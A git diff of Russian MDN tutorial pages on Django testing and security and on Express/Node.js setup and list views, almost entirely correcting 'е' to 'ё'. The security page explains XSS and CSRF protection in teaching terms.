            def test_redirect_if_not_logged_in(self):
         resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}) )
@@ -796,7 +796,7 @@ class RenewBookInstancesViewTest(TestCase):
         self.assertTemplateUsed(resp, 'catalog/book_renew_librarian.html')
 
        
 
-
        Добавьте еще один тестовый метод, показанный ниже. Он проверяет что начальная дата равна трем неделям в будущем. Заметьте, что мы имеем возможность получить доступ к начальному значению из поля формы (выделено жирным).
        
+
        Добавьте ещё один тестовый метод, показанный ниже. Он проверяет что начальная дата равна трём неделям в будущем. Заметьте, что мы имеем возможность получить доступ к начальному значению из поля формы (выделено жирным).
        
 
 
            def test_form_renewal_date_initially_has_date_three_weeks_in_future(self):
         login = self.client.login(username='testuser2', password='12345')
@@ -807,7 +807,7 @@ class RenewBookInstancesViewTest(TestCase):
         self.assertEqual(resp.context['form'].initial['renewal_date'], date_3_weeks_in_future )
 
        
 
-
        Следующий тест (тоже добавьте его в свой класс) проверяет что отображение, в случае успеха, перенаправляет пользователя к списку всех забронированных книг. Здесь мы показываем как при помощи клиента вы можете создать и передать данные в POST-запросе. Данный запрос передается вторым аргументом в пост-функцию и представляет из себя словарь пар ключ/значение.
        
+
        Следующий тест (тоже добавьте его в свой класс) проверяет что отображение, в случае успеха, перенаправляет пользователя к списку всех забронированных книг. Здесь мы показываем как при помощи клиента вы можете создать и передать данные в POST-запросе. Данный запрос передаётся вторым аргументом в пост-функцию и представляет из себя словарь пар ключ/значение.
        
 
 
            def test_redirects_to_all_borrowed_book_list_on_success(self):
         login = self.client.login(username='testuser2', password='12345')
@@ -817,7 +817,7 @@ class RenewBookInstancesViewTest(TestCase):
 
        
 
 
        
-
        Вместо перехода к отображению all-borrowed, добавленного в качестве домашнего задания, вы можете перенаправить пользователя на домашнюю страницу '/'. В таком случае, исправьте две последние строки тестового кода на код, показанный ниже. Присваивание follow=True, в запросе, гарантирует что запрос вернет окончательный URL-адрес пункта назначения (следовательно проверяется /catalog/, а не /).
        
+
        Вместо перехода к отображению all-borrowed, добавленного в качестве домашнего задания, вы можете перенаправить пользователя на домашнюю страницу '/'. В таком случае, исправьте две последние строки тестового кода на код, показанный ниже. Присваивание follow=True, в запросе, гарантирует что запрос вернёт окончательный URL-адрес пункта назначения (следовательно проверяется /catalog/, а не /).
        
 
 
         resp = self.client.post(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':valid_date_in_future},follow=True )
  self.assertRedirects(resp, '/catalog/')
        
@@ -844,7 +844,7 @@ class RenewBookInstancesViewTest(TestCase):
 
 
        Шаблоны
        
 
-
        Django предоставляет API для тестирования, которое проверяет что функции отображения вызывают правильные шаблоны, а также позволяют убедиться, что им передается соответствующая информация. Кроме того, в Django имеется возможность использовать сторонние API для проверок того, что ваш HTML показывает то, что надо.
        
+
        Django предоставляет API для тестирования, которое проверяет что функции отображения вызывают правильные шаблоны, а также позволяют убедиться, что им передаётся соответствующая информация. Кроме того, в Django имеется возможность использовать сторонние API для проверок того, что ваш HTML показывает то, что надо.
        
 
 
        Другие рекомендованные инструменты для тестирования
        
 
@@ -853,7 +853,7 @@ class RenewBookInstancesViewTest(TestCase):
 
        Из всего множества сторонних инструментов тестирования, мы кратко опишем возможности двух:
        
 
 
          
- 
        • Coverage: Это инструмент Python, который формирует отчеты о том, какое количество кода выполняется во время проведения тестов. Это полезно для уточнения степени "покрытия" кода тестами.
          • 
+ 
        • Coverage: Это инструмент Python, который формирует отчёты о том, какое количество кода выполняется во время проведения тестов. Это полезно для уточнения степени "покрытия" кода тестами.
          • 
  
        • Selenium это фреймворк проведения автоматического тестирования в настоящем браузере. Он позволяет вам имитировать взаимодействие пользователя с вашим сайтом (что является следующим шагом в проведении интеграционных тестов).
          • 
 
        
 
@@ -871,7 +871,7 @@ class RenewBookInstancesViewTest(TestCase):
 
 
        Итоги
        
 
-
        Написание тестов не является ни весельем, ни развлечением и, соответственно, при создании сайтов часто остается напоследок (или вообще не используется). Но тем не менее, они являются действенным механизмом, который позволяет вам убедиться, что ваш код в находится безопасности, даже если в него добавляются какие-либо изменения. Кроме того, тесты повышают эффективность поддержки вашего кода.
        
+
        Написание тестов не является ни весельем, ни развлечением и, соответственно, при создании сайтов часто остаётся напоследок (или вообще не используется). Но тем не менее, они являются действенным механизмом, который позволяет вам убедиться, что ваш код в находится безопасности, даже если в него добавляются какие-либо изменения. Кроме того, тесты повышают эффективность поддержки вашего кода.
        
 
 
        В данном руководстве мы продемонстрировали вам принципы написания тестов для ваших моделей, форм и отображений. Мы кратко перечислили что именно необходимо тестировать, что обычно сложно выявить в самом начале разработки. Существует много аспектов которые необходимо изучить, но даже с тем что мы уже узнали, вы имеете возможность создавать эффективные юнит-тесты для значительного улучшения процесса разработки.
        
 
diff --git a/files/ru/learn/server-side/django/web_application_security/index.html b/files/ru/learn/server-side/django/web_application_security/index.html
index 435982ac1f..9ceb8c74e2 100644
--- a/files/ru/learn/server-side/django/web_application_security/index.html
+++ b/files/ru/learn/server-side/django/web_application_security/index.html
@@ -7,7 +7,7 @@ translation_of: Learn/Server-side/Django/web_application_security
 
 
        {{PreviousMenuNext("Learn/Server-side/Django/Deployment", "Learn/Server-side/Django/django_assessment_blog", "Learn/Server-side/Django")}}
        
 
-
        Защита пользовательских данных - важная часть проектирования любого веб-сайта.Ранее мы рассматривали некоторые наиболее распространенные угрозы безопасности в теме Веб безопасность. В данной статье будет представлена практическая демонстрация того, как встроенные механизмы защиты Django's обрабатывают подобные угрозы.
        
+
        Защита пользовательских данных - важная часть проектирования любого веб-сайта.Ранее мы рассматривали некоторые наиболее распространённые угрозы безопасности в теме Веб безопасность. В данной статье будет представлена практическая демонстрация того, как встроенные механизмы защиты Django's обрабатывают подобные угрозы.
        
 
 
        
  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
        
@@ -24,7 +24,7 @@ translation_of: Learn/Server-side/Django/web_application_security
 
 
        Обзор
        
 
-
        Тема Веб безопасность рассматривает значение безопасности веб-приложения для проектирования серверного приложения и некоторые из наиболее распространенных угроз, от которых вам может потребоваться защита. Одна из ключевых идей этой темы состоит в том, что практически все атаки будут успешны, если веб-приложение доверяет пользовательским данным (например данным из браузера).
        
+
        Тема Веб безопасность рассматривает значение безопасности веб-приложения для проектирования серверного приложения и некоторые из наиболее распространённых угроз, от которых вам может потребоваться защита. Одна из ключевых идей этой темы состоит в том, что практически все атаки будут успешны, если веб-приложение доверяет пользовательским данным (например данным из браузера).
        
 
        Важно: Наиболее важный урок, который вы должны усвоить, состоит в том - что никогда не стоит доверять переданным пользователем данным. Они включают в себя GET параметры в URL, тело POST запроса, HTTP заголовки, cookies, загруженные пользователем данные и т.д. Всегда проверяйте и обрабатывайте все входные данные. Всегда готовьтесь к худшему.
        
@@ -32,15 +32,15 @@ translation_of: Learn/Server-side/Django/web_application_security
 
 
        Хорошей новостью для всех разработчиков, использующих Django, является то, что большинство известных атак обрабатывается фреймворком! Статья Безопасность в Django (Django docs) описывает методы обеспечения безопасности Django и стратегии защиты веб-приложения разработанного на данном фреймворке.
        
 
-
        Распространенные угрозы/методы защиты
        
+
        Распространённые угрозы/методы защиты
        
 
 
        Мы не будем дублировать документацию Django и в данной статье продемонстрируем некоторые основные методы обеспечения безопасности в контексте разрабатываемого в данном руководстве приложения LocalLibrary.
        
 
 
        Межсайтовый скриптинг (XSS)
        
 
-
        XSS это термин, применяющийся для описания класса атак, позволяющего атакующему, через веб-сайт внедрить скрипты, которые будут выполнены на устройстве зашедшего на страницу пользователя. Часто это происходит через сохранение вредоносного кода в базе данных, откуда данный код будет возвращен и выполнен для запросившего некие данные пользователя (типичный пример - сохранение тега <script> с вредоносным кодом в комментарии, который может увидеть другой пользователь). Другой вектор атаки - в том чтобы сгенерировать определенную ссылку, при клике на которую пользователь запустит выполнение некоего замаскированного кода JavaScript в своем браузере.
        
+
        XSS это термин, применяющийся для описания класса атак, позволяющего атакующему, через веб-сайт внедрить скрипты, которые будут выполнены на устройстве зашедшего на страницу пользователя. Часто это происходит через сохранение вредоносного кода в базе данных, откуда данный код будет возвращён и выполнен для запросившего некие данные пользователя (типичный пример - сохранение тега <script> с вредоносным кодом в комментарии, который может увидеть другой пользователь). Другой вектор атаки - в том чтобы сгенерировать определённую ссылку, при клике на которую пользователь запустит выполнение некоего замаскированного кода JavaScript в своём браузере.
        
 
-
        Система шаблонов Django защищает от большинства XSS атак,  экранируя определенные символы, считающиеся "опасными" в HTML. Мы можем продемонстрировать это, попытавшись внедрить произвольный JavaScript код в наше приложение LocalLibrary через форму добавления автора, созданную в Руководство часть 9: Работа с формами.
        
+
        Система шаблонов Django защищает от большинства XSS атак,  экранируя определённые символы, считающиеся "опасными" в HTML. Мы можем продемонстрировать это, попытавшись внедрить произвольный JavaScript код в наше приложение LocalLibrary через форму добавления автора, созданную в Руководство часть 9: Работа с формами.
        
 
 
          
  
        1. Запустите веб-сайт, используя сервер разработки (python3 manage.py runserver).
          2. 
@@ -54,7 +54,7 @@ translation_of: Learn/Server-side/Django/web_application_security
   
      • Нажмите Submit для сохранения записи.
        • 
- 
      • После сохранения автора - он должен быть отображен, как показано ниже. Так как сработала защита от XSS - команда alert() не будет запущена. Вместо этого скрипт будет отображаться как обычный текст.Author detail view XSS test
        • 
+ 
      • После сохранения автора - он должен быть отображён, как показано ниже. Так как сработала защита от XSS - команда alert() не будет запущена. Вместо этого скрипт будет отображаться как обычный текст.Author detail view XSS test
        • Если вы посмотрите исходный HTML код, вы увидите, что "опасные" символы - например такие как скобки тегов - были заменены на их безопасные эквивалентные html сущности (к примеру > на &gt;)
        
@@ -64,7 +64,7 @@ translation_of: Learn/Server-side/Django/web_application_security
 
 
        Использование шаблонов Django защищает вас от большинства XSS атак. Однако существует возможность отключения данной защиты, при котором экранирование не будет автоматически применятся ко всем полям, которые не должны будут заполнятся пользователем(к примеру, поле help_text обычно заполняется не пользователем, поэтому Django не будет экранировать его значение).
        
 
-
        Так же XSS атаки могут быть осуществлены через другие ненадежные источники данных, такие как cookies, сторонние сервисы или загруженные файлы (и прочие источники, данные которых не были специально обработаны перед отображением на странице). Если вы отображаете данные из этих источников, вы должны добавить ваш собственный обработчик для фильтрации данных.
        
+
        Так же XSS атаки могут быть осуществлены через другие ненадёжные источники данных, такие как cookies, сторонние сервисы или загруженные файлы (и прочие источники, данные которых не были специально обработаны перед отображением на странице). Если вы отображаете данные из этих источников, вы должны добавить ваш собственный обработчик для фильтрации данных.
        Межсайтовая подделка запроса (CSRF)
        
 
@@ -93,9 +93,9 @@ translation_of: Learn/Server-side/Django/web_application_security
 </html>
 
 
-
        Запустите веб-сервер разработки и войдите в аккаунт супер-пользователя. Скопируйте приведенный выше текст в файл и затем откройте его в браузере. Вы должны получить CSRF ошибку, потому что у Django есть защита от атак данного вида!
        
+
        Запустите веб-сервер разработки и войдите в аккаунт супер-пользователя. Скопируйте приведённый выше текст в файл и затем откройте его в браузере. Вы должны получить CSRF ошибку, потому что у Django есть защита от атак данного вида!
        
 
-
        Механизм защиты заключается в том, что вы добавляете тег шаблона {% csrf_token %} в вашу форму. Этот токен будет отображен в вашем HTML как показано ниже, со значением, уникальным для каждого запрашивающего форму пользователя.
        
+
        Механизм защиты заключается в том, что вы добавляете тег шаблона {% csrf_token %} в вашу форму. Этот токен будет отображён в вашем HTML как показано ниже, со значением, уникальным для каждого запрашивающего форму пользователя.
        <input type='hidden' name='csrfmiddlewaretoken' value='0QRWHnYVg776y2l66mcvZqp8alrv4lb8S8lZ4ZJUWGZFA5VHrVfL2mpH29YZ39PW' />
 
        
@@ -138,7 +138,7 @@ translation_of: Learn/Server-side/Django/web_application_security
 
 
        Подводим итоги
        
 
-
        Django имеет методы обеспечения защиты от распространенных видов атак, включая XSS и CSRF атаки. В данной статье мы продемонстрировали, как различные виды атак обрабатываются Django на примере нашего приложения LocalLibrary. Мы так же кратко рассмотрели другие виды уязвимостей и методы защиты от них.
        
+
        Django имеет методы обеспечения защиты от распространённых видов атак, включая XSS и CSRF атаки. В данной статье мы продемонстрировали, как различные виды атак обрабатываются Django на примере нашего приложения LocalLibrary. Мы так же кратко рассмотрели другие виды уязвимостей и методы защиты от них.
        Это было очень краткое погружение в вопрос веб-безопасности. Мы крайне рекомендуем вам прочитать Безопасность в Django для более глубокого понимания.
        
 
diff --git a/files/ru/learn/server-side/express_nodejs/development_environment/index.html b/files/ru/learn/server-side/express_nodejs/development_environment/index.html
index 50a624c3cb..c0c188f731 100644
--- a/files/ru/learn/server-side/express_nodejs/development_environment/index.html
+++ b/files/ru/learn/server-side/express_nodejs/development_environment/index.html
@@ -35,7 +35,7 @@ translation_of: Learn/Server-side/Express_Nodejs/development_environment
  NPM также можно использовать для (глобальной) установки Express Application Generator, удобного инструмента для создания каркасных веб-приложений Express, которые следуют шаблону MVC. Генератор приложений является необязательным, поскольку вам не нужно использовать этот инструмент для создания приложений, использующих Express, или для приложений для создан Express, имеющих одинаковую архитектурную разметку или зависимости. Мы будем использовать его, потому что это значительно облегчает начало работы и продвигает модульную структуру приложения.
        
-
        Примечание: в отличие от некоторых других веб-сред, среда разработки не включает отдельный веб-сервер разработки. В Node / Express веб-приложение создает и запускает собственный веб-сервер!
        
+
        Примечание: в отличие от некоторых других веб-сред, среда разработки не включает отдельный веб-сервер разработки. В Node / Express веб-приложение создаёт и запускает собственный веб-сервер!
        
 
        Существуют и другие периферийные инструменты, которые являются частью типичной среды разработки, в том числе текстовые редакторы или IDE для редактирования кода и инструменты управления исходным кодом, такие как Git, для безопасного управления различными версиями вашего кода. Мы предполагаем, что вы уже установили подобные инструменты (в частности, текстовый редактор).
        
@@ -50,11 +50,11 @@ translation_of: Learn/Server-side/Express_Nodejs/development_environment
 
 
        Существует множество выпусков Node - более новые выпуски содержат исправления ошибок, поддержку более свежих версий стандартов ECMAScript (JavaScript) и улучшения API-интерфейсов Node.
        
  
        
- Как правило, вы должны использовать самый последний выпуск LTS (с долгосрочной поддержкой), поскольку он будет более стабильным, чем «текущий» выпуск, при этом все еще имея относительно недавние функции (и все еще активно поддерживается). Вы должны использовать Текущий выпуск, если вам нужна функция, которой нет в версии LTS.
        
+ Как правило, вы должны использовать самый последний выпуск LTS (с долгосрочной поддержкой), поскольку он будет более стабильным, чем «текущий» выпуск, при этом все ещё имея относительно недавние функции (и все ещё активно поддерживается). Вы должны использовать Текущий выпуск, если вам нужна функция, которой нет в версии LTS.
        
  
        
  Для Express вы всегда должны использовать последнюю версию.
        
 
-
        Как насчет баз данных и других зависимостей?
        
+
        Как насчёт баз данных и других зависимостей?
        Другие зависимости, такие как драйверы баз данных, механизмы шаблонов, механизмы аутентификации и т. д., Являются частью приложения и импортируются в среду приложения с помощью диспетчера пакетов NPM. Мы обсудим их в следующих статьях для конкретных приложений.
        
 
@@ -78,7 +78,7 @@ translation_of: Learn/Server-side/Express_Nodejs/development_environment
    
      • Нажмите кнопку, чтобы загрузить сборку LTS, которая «Рекомендуется для большинства пользователей».
        • 
- 
      • Установите Node, дважды щелкнув по загруженному файлу и следуя инструкциям по установке.
        • 
+ 
      • Установите Node, дважды щёлкнув по загруженному файлу и следуя инструкциям по установке.
        • Ubuntu 16.04
        
@@ -98,7 +98,7 @@ sudo apt-get install -y nodejs
        Проверка вашей установки Nodejs и NPM
        
 
-
        Самый простой способ проверить, установлен ли этот узел, - это запустить команду «версия» в своем терминале / командной строке и проверить, что возвращается строка версии:
        
+
        Самый простой способ проверить, установлен ли этот узел, - это запустить команду «версия» в своём терминале / командной строке и проверить, что возвращается строка версии:
        >node -v
 v8.11.3
        
@@ -137,7 +137,7 @@ server.listen(port, hostname, () => {
   
        Код импортирует модуль «http» и использует его для создания сервера (createServer ()), который обрабатывает HTTP-запросы на порту 3000. Затем сценарий выводит на консоль сообщение о том, какой URL-адрес браузера можно использовать для тестирования сервера. Функция createServer () принимает в качестве аргумента колбэк-функцию, которая будет вызываться при получении HTTP-запроса - она просто возвращает ответ с кодом состояния HTTP 200 («ОК») и простым текстом «Hello World».
        
-  
        Замечание: не беспокойтесь, если вы еще не совсем понимаете, что делает этот код! Мы объясним наш код более подробно, как только мы начнем использовать Express!
        
+  
        Замечание: не беспокойтесь, если вы ещё не совсем понимаете, что делает этот код! Мы объясним наш код более подробно, как только мы начнём использовать Express!
        
   
      • Запустите сервер, перейдя в тот же каталог, что и ваш файл hellonode.js в командной строке, и вызвав узел вместе с именем скрипта, например так:
@@ -153,7 +153,7 @@ Server running at http://127.0.0.1:3000/
 
        Помимо самого Node, NPM является наиболее важным инструментом для работы с приложениями Node. NPM используется для получения любых пакетов (библиотек JavaScript), которые необходимы приложению для разработки, тестирования и / или производства, а также может использоваться для запуска тестов и инструментов, используемых в процессе разработки.
        
 
 
        
-
        Замечание:  С точки зрения Node, Express - это просто еще один пакет, который вам нужно установить с помощью NPM, а затем установить его в своем собственном коде.
        
+
        Замечание:  С точки зрения Node, Express - это просто ещё один пакет, который вам нужно установить с помощью NPM, а затем установить его в своём собственном коде.
        
 
        
 
 
        Вы можете вручную использовать NPM для получения каждого необходимого пакета отдельно. Обычно мы вместо этого управляем зависимостями, используя простой текстовый файл с именем package.json. В этом файле перечислены все зависимости для конкретного «пакета» JavaScript, включая имя пакета, версию, описание, исходный файл для выполнения, производственные зависимости, зависимости разработки, версии Node, с которыми он может работать, и т. Д. Файл package.json должен содержать все, что нужно NPM для загрузки и запуска вашего приложения (если вы пишете библиотеку многократного использования, вы можете использовать это определение для загрузки пакета в репозиторий npm и сделать его доступным для других пользователей).
        
@@ -163,7 +163,7 @@ Server running at http://127.0.0.1:3000/
 
        Следующие шаги показывают, как вы можете использовать NPM для загрузки пакета, сохранить его в зависимостях проекта, а затем потребовать его в приложении Node.
        
 
 
        
-
        Замечание:  Здесь мы показываем инструкции для получения и установки пакета Express. Позже мы покажем, как этот пакет и другие уже указаны для нас с помощью Express Application Generator. Этот раздел предоставлен, потому что полезно понять, как работает NPM и что создается генератором приложений.
        
+
        Замечание:  Здесь мы показываем инструкции для получения и установки пакета Express. Позже мы покажем, как этот пакет и другие уже указаны для нас с помощью Express Application Generator. Этот раздел предоставлен, потому что полезно понять, как работает NPM и что создаётся генератором приложений.
        
 
        
 
 
          
@@ -225,7 +225,7 @@ app.listen(8000, () => {
 });
 
 
-  
          Этот код показывает минимальное веб-приложение Express «HelloWorld». Это импортирует модуль «экспресс» и использует его для создания сервера (приложения), который обрабатывает HTTP-запросы на порту 8000 и выводит на консоль сообщение, объясняющее, какой URL-адрес браузера можно использовать для тестирования сервера. Функция app.get () отвечает только на запросы HTTP GET с указанным URL-путем ('/'), в этом случае вызывая функцию для отправки нашего Hello World! сообщение.
          
+  
          Этот код показывает минимальное веб-приложение Express «HelloWorld». Это импортирует модуль «экспресс» и использует его для создания сервера (приложения), который обрабатывает HTTP-запросы на порту 8000 и выводит на консоль сообщение, объясняющее, какой URL-адрес браузера можно использовать для тестирования сервера. Функция app.get () отвечает только на запросы HTTP GET с указанным URL-путём ('/'), в этом случае вызывая функцию для отправки нашего Hello World! сообщение.
          
    
          
    Создайте файл с именем index.js в корне каталога приложения «myapp» и передайте ему содержимое, показанное выше.
          
  
@@ -239,7 +239,7 @@ Example app listening on port 8000
 
 
          Зависимости разработки
          
 
-
          Если зависимость используется только во время разработки, вы должны вместо этого сохранить ее как «зависимость разработки» (чтобы пользователям вашего пакета не приходилось устанавливать ее в производстве). Например, чтобы использовать популярный инструмент JavaScript Linting eslint, вы должны вызвать NPM, как показано ниже:
          
+
          Если зависимость используется только во время разработки, вы должны вместо этого сохранить её как «зависимость разработки» (чтобы пользователям вашего пакета не приходилось устанавливать её в производстве). Например, чтобы использовать популярный инструмент JavaScript Linting eslint, вы должны вызвать NPM, как показано ниже:
          
 
 
          npm install eslint --save-dev
          
 
@@ -284,7 +284,7 @@ npm run lint
 
 
          Установка Express Application Generator
          
 
-
          Инструмент Express Application Generator создает «скелет» приложения Express. Установите генератор, используя NPM, как показано (флаг -g устанавливает инструмент глобально, чтобы вы могли вызывать его из любого места):
          
+
          Инструмент Express Application Generator создаёт «скелет» приложения Express. Установите генератор, используя NPM, как показано (флаг -g устанавливает инструмент глобально, чтобы вы могли вызывать его из любого места):
          
 
 
          npm install express-generator -g
          
 
@@ -302,7 +302,7 @@ npm run lint
 
          NPM создаст новое приложение Express в подпапке вашего текущего местоположения, отображая процесс сборки на консоли. По завершении инструмент отобразит команды, которые необходимо ввести, чтобы установить зависимости Node и запустить приложение.
          
 
 
          
-
          Новое приложение будет иметь файл package.json в своем корневом каталоге. Вы можете открыть это, чтобы увидеть, какие зависимости установлены, включая Express и библиотеку шаблонов Jade:
          
+
          Новое приложение будет иметь файл package.json в своём корневом каталоге. Вы можете открыть это, чтобы увидеть, какие зависимости установлены, включая Express и библиотеку шаблонов Jade:
          
 
 
          {
   "name": "helloworld",
@@ -341,7 +341,7 @@ SET DEBUG=helloworld:* | npm start
 DEBUG=helloworld:* npm start
 
          
 
-
          Команда DEBUG создает полезное ведение журнала, что приводит к выводу, подобному показанному ниже.
          
+
          Команда DEBUG создаёт полезное ведение журнала, что приводит к выводу, подобному показанному ниже.
          
 
 
          >SET DEBUG=helloworld:* & npm start
 
@@ -354,7 +354,7 @@ DEBUG=helloworld:* npm start
 
 
          Express - Generated App Default Screen
          
 
-
          Мы поговорим больше о сгенерированном приложении, когда перейдем к статье о создании каркасного приложения.
          
+
          Мы поговорим больше о сгенерированном приложении, когда перейдём к статье о создании каркасного приложения.
          
 
 
            
 
          
@@ -363,7 +363,7 @@ DEBUG=helloworld:* npm start
 
 
          Теперь на вашем компьютере установлена и запущена среда разработки Node, которую можно использовать для создания веб-приложений Express. Вы также увидели, как NPM можно использовать для импорта Express в приложение, а также как вы можете создавать приложения с помощью инструмента Express Application Generator и затем запускать их.
          
  
          
- В следующей статье мы начнем работу с учебным пособием по созданию полноценного веб-приложения с использованием этой среды и связанных инструментов.
          
+ В следующей статье мы начнём работу с учебным пособием по созданию полноценного веб-приложения с использованием этой среды и связанных инструментов.
          
 
 
          Смотрите также
          
 
diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/author_list_page/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/author_list_page/index.html
index 15097717f0..219f5639b0 100644
--- a/files/ru/learn/server-side/express_nodejs/displaying_data/author_list_page/index.html
+++ b/files/ru/learn/server-side/express_nodejs/displaying_data/author_list_page/index.html
@@ -3,7 +3,7 @@ title: Список авторов. Тест - список жанров
 slug: Learn/Server-side/Express_Nodejs/Displaying_data/Author_list_page
 translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Author_list_page
 ---
-
          Страница списка авторов должна показывать список всех авторов, хранимых в БД, причем каждое имя автора должно быть связано со страницей подробностей для этого автора. Дата рождения автора и дата смерти должны выводиться в одной строке после имени автора.
          
+
          Страница списка авторов должна показывать список всех авторов, хранимых в БД, причём каждое имя автора должно быть связано со страницей подробностей для этого автора. Дата рождения автора и дата смерти должны выводиться в одной строке после имени автора.
          
 
 
          Контроллер
          
 
@@ -74,8 +74,8 @@ block content
   
  
  
        1. Отображающий шаблон должен быть назван genre_list.pug.
          2. 
- 
        2. Шаблону для отображения должны быть переданы переменные title (строка 'Genre List') и genre_list (the list of список жанров, который вернет колбэк-функция Genre.find().
          3. 
- 
        3. Представление должно соответствовать скриншоту, приведенному ранее (оно должно иметь структуру и формат, похожие на таковые в представлении списка авторов, за исключением, конечно, продолжительности жизни, так как для жанров даты не заданы).
          4. 
+ 
        4. Шаблону для отображения должны быть переданы переменные title (строка 'Genre List') и genre_list (the list of список жанров, который вернёт колбэк-функция Genre.find().
          5. 
+ 
        5. Представление должно соответствовать скриншоту, приведённому ранее (оно должно иметь структуру и формат, похожие на таковые в представлении списка авторов, за исключением, конечно, продолжительности жизни, так как для жанров даты не заданы).
          6. 
 
        
 
 
        Далее
        
diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/book_list_page/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/book_list_page/index.html
index fbbf8c9622..6bbab5a709 100644
--- a/files/ru/learn/server-side/express_nodejs/displaying_data/book_list_page/index.html
+++ b/files/ru/learn/server-side/express_nodejs/displaying_data/book_list_page/index.html
@@ -3,7 +3,7 @@ title: Страница списка книг
 slug: Learn/Server-side/Express_Nodejs/Displaying_data/Book_list_page
 translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Book_list_page
 ---
-
        Далее мы реализуем нашу страницу списка книг. На этой странице должен отображаться список всех книг и их авторов в базе данных, причем каждое название книги является гиперссылкой на соответствующую страницу сведений о книге.
        
+
        Далее мы реализуем нашу страницу списка книг. На этой странице должен отображаться список всех книг и их авторов в базе данных, причём каждое название книги является гиперссылкой на соответствующую страницу сведений о книге.
        
 
 
        Контроллер
        
 
@@ -24,7 +24,7 @@ exports.book_list };
 
-
        Метод использует функцию моделиfind() для возврата всех объектов Book, выбрав для возврата только заголовок и автора, поскольку нам не нужны другие поля (он также вернет _id и виртуальные поля). Здесь мы также вызываем populate() on Book, указывая поле  author —это заменит сохраненный идентификатор автора книги полными сведениями об авторе.
        
+
        Метод использует функцию моделиfind() для возврата всех объектов Book, выбрав для возврата только заголовок и автора, поскольку нам не нужны другие поля (он также вернёт _id и виртуальные поля). Здесь мы также вызываем populate() on Book, указывая поле  author —это заменит сохранённый идентификатор автора книги полными сведениями об авторе.
        
 
 
        При успешном выполнении, колбэк передаст запрос на отрисовку шаблона book_list(.pug), передаст title иbook_list (список книг с автором) в качестве переменных.
        
 
@@ -46,7 +46,7 @@ block content
   else
     li There are no books.
 
-
        View расширит базовый шаблон layout.pug и переопределит block с именем 'content'. Он отображает  title который мы передали из контроллера (с помощью метода render() ), а затем перебирает переменную book_list  используя синтаксис each-in-else . Для каждой книги создается элемент списка, отображающий название книги в виде ссылки на страницу сведений о книге, за которой следует имя автора. Если в  book_list нет книг,  то выполняется else, и  отображается текст "нет книг".'
        
+
        View расширит базовый шаблон layout.pug и переопределит block с именем 'content'. Он отображает  title который мы передали из контроллера (с помощью метода render() ), а затем перебирает переменную book_list  используя синтаксис each-in-else . Для каждой книги создаётся элемент списка, отображающий название книги в виде ссылки на страницу сведений о книге, за которой следует имя автора. Если в  book_list нет книг,  то выполняется else, и  отображается текст "нет книг".'
        
 
 
        
 
        Заметка: Мы используем book.url  для предоставления ссылки на подробную запись для каждой книги (мы реализовали этот маршрут, но не страницу). Это виртуальное свойство модели Book , которая использует поле  _id для создания уникального URL.
        
diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/bookinstance_list_page/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/bookinstance_list_page/index.html
index 6a924829bf..20b7d94f6a 100644
--- a/files/ru/learn/server-side/express_nodejs/displaying_data/bookinstance_list_page/index.html
+++ b/files/ru/learn/server-side/express_nodejs/displaying_data/bookinstance_list_page/index.html
@@ -9,7 +9,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_li
 
 
        Функция контроллера списка BookInstance требуется для получения списка всех экземпляров некоторой книги, для получения информации, связанной с книгой, и для передачи полученного списка в шаблон для отображения.
        
 
-
        Откройте файл /controllers/bookinstanceController.js. Найдите экспортируемый метод bookinstance_list() контроллера и замените его следующим кодом (измененный код выделен жирным).
        
+
        Откройте файл /controllers/bookinstanceController.js. Найдите экспортируемый метод bookinstance_list() контроллера и замените его следующим кодом (изменённый код выделен жирным).
        
 
 
        // Display list of all BookInstances.
 exports.bookinstance_list = function(req, res, next) {
@@ -30,7 +30,7 @@ exports.bookinstance_list Представление
 
-
        Создайте файл  /views/bookinstance_list.pug и скопируйте в него текст, приведенный ниже.
        
+
        Создайте файл  /views/bookinstance_list.pug и скопируйте в него текст, приведённый ниже.
        
 
 
        extends layout
 
diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/date_formatting_using_moment/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/date_formatting_using_moment/index.html
index 2180be7c4b..84e9925d43 100644
--- a/files/ru/learn/server-side/express_nodejs/displaying_data/date_formatting_using_moment/index.html
+++ b/files/ru/learn/server-side/express_nodejs/displaying_data/date_formatting_using_moment/index.html
@@ -46,7 +46,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Date_formatting
         //span  (Due: #{val.due_back} )
         span  (Due: #{val.due_back_formatted} )       
        
 
-
        Вот и все. Если вы перейдете к  All book-instances в боковом меню, вы должны увидеть все даты  в привлекательном формате!
        
+
        Вот и все. Если вы перейдёте к  All book-instances в боковом меню, вы должны увидеть все даты  в привлекательном формате!
        
 
 
         
        
 
diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/flow_control_using_async/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/flow_control_using_async/index.html
index f951a355e5..c09963fb70 100644
--- a/files/ru/learn/server-side/express_nodejs/displaying_data/flow_control_using_async/index.html
+++ b/files/ru/learn/server-side/express_nodejs/displaying_data/flow_control_using_async/index.html
@@ -6,7 +6,7 @@ tags:
   - Часть 5
 translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_using_async
 ---
-
        Код контроллера для некоторых страниц библиотеки будет зависеть от результатов многих асинхронных запросов, которые должны выполняться в определенном порядке или параллельно. Для того, чтобы управлять потоком выполнения, и выводить страницы, когда получена вся необходимая информация, будет использован async - известный модуль node.
        
+
        Код контроллера для некоторых страниц библиотеки будет зависеть от результатов многих асинхронных запросов, которые должны выполняться в определённом порядке или параллельно. Для того, чтобы управлять потоком выполнения, и выводить страницы, когда получена вся необходимая информация, будет использован async - известный модуль node.
        
 
 
        
 
